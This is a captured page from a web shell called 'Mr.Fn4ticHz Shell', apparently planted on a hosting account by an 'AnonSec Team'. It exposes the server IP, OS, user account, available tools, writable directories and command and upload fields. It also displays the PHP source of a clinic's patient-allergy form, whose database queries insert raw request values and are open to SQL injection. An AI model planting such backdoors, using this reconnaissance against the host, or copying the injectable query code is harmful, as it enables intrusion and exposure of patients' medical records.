Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.137.198.239
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/patientappointment.php
<?php
session_start();
include("header.php");
include("dbconnection.php");
if(isset($_POST[submit]))
{
	
	{
		$sql ="INSERT INTO allergy(patientid,Allergen,Category,Severity,Startdt,StopDate,Reaction,Reactiontype,ReactionSeverity,dsReaction,Reactionstdate) values('$_POST[patientid]','$_POST[Allergen]','$_POST[Category]','$_POST[Severity]','$_POST[Startdt]','$_POST[StopDate]','$_POST[Reaction]','$_POST[Reactiontype]','$_POST[ReactionSeverity]','$_POST[dsReaction]','$_POST[Reactionstdate]')";
		if($qsql = mysqli_query($con,$sql))
		{
			echo "<script>alert('Appointment record inserted successfully...');</script>";
		}
		else
		{
			echo mysqli_error($con);
		}
	}
}
if(isset($_GET[editid]))
{
	$sql="SELECT * FROM appointment WHERE appointmentid='$_GET[editid]' ";
	$qsql = mysqli_query($con,$sql);
	$rsedit = mysqli_fetch_array($qsql);
	
}
if(isset($_SESSION[patientid]))
{
$sqlpatient = "SELECT * FROM patient WHERE patientid='$_SESSION[patientid]' ";
$qsqlpatient = mysqli_query($con,$sqlpatient);
$rspatient = mysqli_fetch_array($qsqlpatient);
$readonly = " readonly";
}
?>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<div class="wrapper col2">
  <div id="breadcrumb">
    <ul>
      <li class="first">Add your allergy</li></ul>
  </div>
</div>
<div class="wrapper col4">
  <div id="container">
  
 
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
   <form method="post" action="" name="submit" onSubmit="return validateform()">
    <table width="532" border="3">
	<table id="example2" class="table table-bordered table-hover">  
      <tbody>
	  <td>UHID NO</td>
          <td>
            <?php
		  	$sqlpatient= "SELECT * FROM patient WHERE status='Active' AND patientid='$_GET[patientid]'";
			$qsqlpatient = mysqli_query($con,$sqlpatient);
			while($rspatient=mysqli_fetch_array($qsqlpatient))
			{
				echo "<input type='text' name='patientid' id='patientid' value=patientid='$_GET[patientid]'></td>";
			}
		  ?>
        </tr>
            <tr>
          <td height="62">Allergen</td>
          <td><input type="text" name="Allergen" id="Allergen"></td>
        </tr>
		<tr>
		<td height="62">Category</td>
		<td>
          <select class="w3-select w3-border" name="Category">
    <option value="" disabled selected>Category type </option>
    <option value="Drug">Drug</option>
    <option value="Food">Food</option>
	<option value="Environment">Environment</option>
	<option value="Other">Other</option>
  </select></td>
        </tr>
		<tr>
		<td height="62">Severity</td>
		<td>
          <select class="w3-select w3-border" name="Severity">
    <option value="" disabled selected>Severity type </option>
    <option value="Mild">Mild</option>
    <option value="Moderate">Moderate</option>
	<option value="Severe">Severe</option>
  </select></td>
        </tr>
		<tr>
          <td height="62">Start Date</td>
          <td><input type="date" min="<?php echo date("Y-m-d"); ?>" name="Startdt" id="Startdt" ></textarea></td>
        </tr>
        <tr>
          <td>Stop Date</td>
          <td><input type="Date" min="<?php echo date("Y-m-d"); ?>" name="StopDate" id="StopDate"></td>
        </tr>
        <tr>
          <td>Reaction</td>
          <td><input type="text" name="Reaction" id="Reaction"></td>
       
        </tr>
		<tr>
		<td height="62">Reaction Type</td>
		<td>
          <select class="w3-select w3-border" name="Reactiontype">
    <option value="" disabled selected>Reaction Type </option>
    <option value="Allergy">Allergy</option>
    <option value="Adverse effect">Adverse effect</option>
	<option value="Unknown">Unknown</option>
  </select></td>
        </tr>
		<tr>
		<td height="62">Reaction Severity</td>
		<td>
          <select class="w3-select w3-border" name="ReactionSeverity">
    <option value="" disabled selected>Reaction Severity </option>
    <option value="Mild">Mild</option>
    <option value="Moderate">Moderate</option>
	<option value="Severe">Severe</option>
  </select></td>
        </tr>
		<tr>
          <td>Reaction Description</td>
          <td><textarea name="dsReaction" rows="2" cols="50" id="dsReaction"></textarea></td>
       
        </tr>
		<tr>
          <td>Reaction Start Date</td>
          <td><input type="Date" name="Reactionstdate" id="Reactionstdate" ></td>
       
        </tr>

        <tr>
          <td colspan="2" align="center"><input type="submit" name="submit" id="submit" value="Submit" /></td>
        </tr>
      </tbody>
    </table>
    </form>
    <p>&nbsp;</p>

  </div>
</div>
</div>
 <div class="clear"></div>
  </div>
</div>
<?php
include("footer.php");
?>
<script type="application/javascript">
var alphaExp = /^[a-zA-Z]+$/; //Variable to validate only alphabets
var alphaspaceExp = /^[a-zA-Z\s]+$/; //Variable to validate only alphabets and space
var numericExpression = /^[0-9]+$/; //Variable to validate only numbers
var alphanumericExp = /^[0-9a-zA-Z]+$/; //Variable to validate numbers and alphabets
var emailExp = /^[\w\-\.\+]+\@[a-zA-Z0-9\.\-]+\.[a-zA-z0-9]{2,4}$/; //Variable to validate Email ID 

function validateform()
{
	if(document.frmpatapp.patiente.value == "")
	{
		alert("Patient name should not be empty..");
		document.frmpatapp.patiente.focus();
		return false;
	}
	else if(!document.frmpatapp.patiente.value.match(alphaspaceExp))
	{
		alert("Patient name not valid..");
		document.frmpatapp.patiente.focus();
		return false;
	}
	else if(document.frmpatapp.textarea.value == "")
	{
		alert("Address should not be empty..");
		document.frmpatapp.textarea.focus();
		return false;
	}
	else if(document.frmpatapp.city.value == "")
	{
		alert("City should not be empty..");
		document.frmpatapp.city.focus();
		return false;
	}
	else if(!document.frmpatapp.city.value.match(alphaspaceExp))
	{
		alert("City name not valid..");
		document.frmpatapp.city.focus();
		return false;
	}
	else if(document.frmpatapp.mobileno.value == "")
	{
		alert("Mobile number should not be empty..");
		document.frmpatapp.mobileno.focus();
		return false;
	}
	else if(!document.frmpatapp.mobileno.value.match(numericExpression))
	{
		alert("Mobile number not valid..");
		document.frmpatapp.mobileno.focus();
		return false;
	}
	else if(document.frmpatapp.loginid.value == "")
	{
		alert("login ID should not be empty..");
		document.frmpatapp.loginid.focus();
		return false;
	}
	else if(!document.frmpatapp.loginid.value.match(alphanumericExp))
	{
		alert("login ID not valid..");
		document.frmpatapp.loginid.focus();
		return false;
	}
	else if(document.frmpatapp.password.value == "")
	{
		alert("Password should not be empty..");
		document.frmpatapp.password.focus();
		return false;
	}
	else if(document.frmpatapp.password.value.length < 8)
	{
		alert("Password length should be more than 8 characters...");
		document.frmpatapp.password.focus();
		return false;
	}
	else if(document.frmpatapp.select6.value == "")
	{
		alert("Gender should not be empty..");
		document.frmpatapp.select6.focus();
		return false;
	}
	else if(document.frmpatapp.dob.value == "")
	{
		alert("Date Of Birth should not be empty..");
		document.frmpatapp.dob.focus();
		return false;
	}
	else if(document.frmpatapp.appointmentdate.value == "")
	{
		alert("Appointment date should not be empty..");
		document.frmpatapp.appointmentdate.focus();
		return false;
	}
	else if(document.frmpatapp.appointmenttime.value == "")
	{
		alert("Appointment time should not be empty..");
		document.frmpatapp.appointmenttime.focus();
		return false;
	}
	else
	{
		return true;
	}
}

function loaddoctor(deptid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divdoc").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","departmentDoctor.php?deptid="+deptid,true);
        xmlhttp.send();
}
</script>
<script>
$(function () {
    $("#example1").DataTable({
      "responsive": true,
      "autoWidth": false,
    });
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
</script>

Anon7 - 2022
AnonSec Team